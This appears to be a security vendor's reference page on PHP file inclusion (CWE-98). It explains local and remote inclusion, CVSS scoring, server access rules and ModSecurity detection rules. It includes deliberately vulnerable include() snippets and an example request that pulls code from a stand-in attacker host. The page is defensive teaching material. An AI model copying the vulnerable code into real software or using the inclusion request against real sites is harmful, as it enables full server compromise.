Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

PHP File Inclusion [CWE-98]

Local File Inclusion (LFI), Remote File Inclusion (RFI)

This weakness describes improper control of filename within Include or Require statements in a PHP program.

Created: September 11, 2012
Latest Update: August 5, 2015

Table of Content

  1. Description
  2. Potential impact
  3. Attack patterns
  4. Affected software
  5. Exploitation Examples
  6. Severity and CVSS Scoring
  7. Mitigations
  8. Vulnerability Remediation Techniques and Examples
  9. References
  10. Latest Related Security Advisories

1. Description

This weakness occurs when a PHP application receives input and uses it to include files via include(), require() or similar functions. This results in inclusion of attacker controlled file which might lead to information disclosure or execution of arbitrary code. There are two types of inclusion based on location of the file to include. They are referred to as local and remote file inclusion.

1.1 Local file inclusion

Local file inclusion occurs when an attacker is unable to control the first part of the filename or remote file download is disabled. The following example demonstrates vulnerable PHP code that could be used to include local files:

  1. $filename = $_GET["filename"];
  2. Include($_SERVER["DOCUMENT_ROOT"]."/". $filename.".php");

In the above example an attacker can pass a specially crafted filename and include arbitrary file from the local system. Due to the nature of the PHP language, contents of any plain text file will be displayed. This attack can be used to include and execute attacker controlled PHP code, e.g. via web server log files and directory traversal sequences.

The attacker can use directory traversal sequences and NULL byte to gain access to arbitrary local file. When NULL byte is filtered the attacker might use maximum path length limitations of different systems.

1.2 Remote file inclusion

Remote file inclusion occurs when an attacker can control the first part of the filename or the entire filename. The following example demonstrates the vulnerability:

  1. $dir = $_GET["path"];
  2. include($dir . "/file.inc");

The value of $dir variable is not restricted in any way, so an attacker can manipulate it. The following request includes the file.php file from a remote location:
vulnerable.php?path=http://attacker-site

Such a request will result in execution of file.inc file located on the attacker's server.
Remote file inclusion depends on the allow_url_include and allow_url_fopen options in php.ini.

2. Potential impact

Successful exploitation of PHP file inclusion may result in information disclosure or compromise of the vulnerable system. A remote attacker can read and write files or execute arbitrary code on the target system with privileges of the web server.

3. Attack patterns

In CAPEC database this weakness is treated as:


According to alternative threat classification from WASC, this weakness is partially covered in WASC-05 (Remote File Inclusion) and WASC-28 (Null Byte Injection).

4. Affected software

Web applications written in PHP are potentially vulnerable to this weakness.

5. Exploitation Examples

Let's have a look at HTB23084 security advisory (CVE-2012-1933).

This advisory describes remote file inclusion, it means that we must create a file with PHP code on arbitrary server:

HTB23084 advisory (CVE-2012-1933) CWE-22 PoC exploitation example

We will try to include this file, as described in the advisory, and see what happens:

HTB23084 advisory (CVE-2012-1933) CWE-22 PoC exploitation example

On the image above we can see output of the phpinfo() function. We can replace it by any PHP code, including web shell, and execute it on the vulnerable server. Successful exploitation of this vulnerability will result in complete system compromise.

6. Severity and CVSS Scoring

This weakness potentially allows unauthorized code execution on a remote system. It should be scored with maximum confidentiality, integrity and availability ratings despite the recommendations of FIRST.

In cases where remote file inclusion is possible the CVSS score should be:
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) - Critical severity.

When local file inclusion is possible and a malicious user can include file with attacker controlled data (e.g. web server log file) it should be scored as:
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C) - High severity.

HTB23122 security advisory (CVE-2012-5699) can be used as an example of such score.

In cases where inclusion of attacker controlled data is impossible it should be scored as:
5 (AV:N/AC:L/Au:N/C:P/I:N/A:N) - Medium severity.

Metrics can vary depending on additional requirements. Vulnerability described in HTB23069 security advisory (CVE-2012-0991) can be exploited by authenticated users only. This means that the CVSS score should be AV:N/AC:L/Au:S/C:C/I:C/A:C - 9.0.


We use CVSSv2 scoring system in our HTB Security Advisories to calculate the risk of the discovered vulnerabilities. Not all of the vulnerabilities are scored in strict accordance to FIRST recommendations. Our CVSSv2 scores are based on our long internal experience in software auditing and penetration testing, taking into consideration a lot of practical nuances and details. Therefore, sometimes they may differ from those ones that are recommended by FIRST.

7. Mitigations

To protect the application from this weakness it is advised to follow these instructions:

  1. Never use attacker controlled data as a filename or part of the filename when including files. If inclusion of file should be based on the user's choice, use preset conditions instead of using filenames.
  2. Perform whitelist checks when including files using user controlled input.
  3. Use sandbox environments (e.g. jail, chroot) that enforce strict boundaries between the process and the operating system.
  4. Use PHP configuration to limit the attack surface. Turn off the allow_url_fopen option which limits the ability to include files from a remote location.

As a temporary solution we strongly recommend blocking access to vulnerable script until the issue is resolved. This can be achieved either using native functionality of the webserver or changing system access permission to file.

Apache

Edit the configuration of your virtual host (usually this can be done via ".htaccess" file) and add the following lines:
<Files script.php>
order deny,allow
deny from all
</Files>

You can also allow access to file from specific IP address:
<Files script.php>
order deny,allow
deny from all
allow from 10.0.0.1
</Files>

IIS

Edit the web.config file to limit access to the vulnerable "script.aspx":
The following rule allows access from IP address 10.0.0.1 and from subnet 192.168.0.0/24. Access from other IP addresses is restricted:
<configuration>
  <location path="script.aspx">
    <system.webServer>
      <security>
        <ipSecurity>
        <add ipAddress="10.0.0.1" />
        <add ipAddress="192.168.0.0" subnetMask="255.255.255.0" />
      </ipSecurity>
      </security>
    </system.webServer>
  </location>
</configuration>

You can also allow or restrict access to certain systems groups. The following configuration example allows only members of the "Administrators" group to access the vulnerable "script.aspx" file:
<configuration>
  <location path="script.aspx">
    <system.webServer>
      <security>
        <authorization>
          <remove users="*" roles="" verbs="" />
          <add accessType="Allow" roles="Administrators" />
        </authorization>
      </security>
    </system.webServer>
  </location>
</configuration>

Tomcat

Add the following lines to your web.xml configuration file for a specific web application to restrict access to "script.jsp" file:
<security-constraint>
  <web-resource-collection>
    <web-resource-name>Forbidden</web-resource-name>
    <url-pattern>/script.jsp</url-pattern>
  </web-resource-collection>
  <auth-constraint />
</security-constraint>

nginx

Add the following rule to the "nginx.conf" file to restrict access to the "script.php" file located in the webroot folder:
location /script.php {
  deny all;
}

8. Vulnerability Remediation Techniques and Examples

8.1 General recommendations for software developers

In most cases removal of special characters from variable used to include files is enough to prevent successful exploitation.

Assume that the "param" variable receives input via HTTP GET or HTTP POST request and then is used to include files in the include() function. In this case PHP developers should follow instructions below to avoid appearance of vulnerable code:

  1. $param=preg_replace("/[^a-z0-9]/i", "", $param);

These are general recommendations. Every case must be treated separately, considering application logic, peculiarities of each system and required functionality.

Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.

8.2 Using Web Application Firewall (WAF)

Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.

As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.

When protecting against PHP file inclusion attacks we must consider different exploitation vectors. We have to eliminate the possibility of accessing files on remote servers and to disable local includes.

When dealing with remote file inclusions we have to consider all available protocols that can be used to include files from a remote location. The following rules from modsecurity_crs_40_generic_attacks.conf can be used to protect against remote file inclusion attacks:

SecRule ARGS "^(?i)(?:ht|f)tps?:\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9' ,t:none,capture, ctl:auditLogParts=+E, block ,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950117', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI' ,setvar:'tx.msg=%{rule.msg}', setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule QUERY_STRING|REQUEST_BODY "(?i:(\binclude\s*\([^)]*|mosConfig_absolute_path|_CONF\[path\]|_SERVER\[DOCUMENT_ROOT\]|GALLERY_BASEDIR|path\[docroot\]|appserv_root|config\[root_dir\])=(ht|f)tps?:\/\/)" \
"phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,t:urlDecodeUni, capture, ctl:auditLogParts=+E,block,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950118',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?i)(?:ft|htt)ps?(.*?)\?+$" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E, block, msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950119',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?:ht|f)tps?://(.*)$" \
"chain,phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E,block, msg:'Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950120', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI'"
SecRule TX:1 "!@beginsWith %{request_headers.host}" "setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.1}"

In case of local inclusion, we have to deal with path traversal sequences and file names. Let’s have a look at the HTB23118 security advisory (CVE-2012-5242), that describes PHP file inclusion vulnerability in Banana Dance. The vulnerable script passes input from the “name” parameter to the "include_once()" function. We will create a rule that allows only alphabetical characters:

SecRule ARGS:name "!^([a-zA-Z]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none, ctl:auditLogParts=+E,block, msg:'LFI in Banana Dance HTB23118',id:'1000000006',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/LFI',setvar:'tx.msg=%{rule.msg}'"

9. References

  1. Top 25 Series - Rank 13 - PHP File Inclusion [software-security.sans.org]
  2. File Inclusion [hakipedia.com]

10. Latest HTB Security Advisories with CWE-98


Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to High-Tech Bridge is given.

↑ Back to Top
Request Demo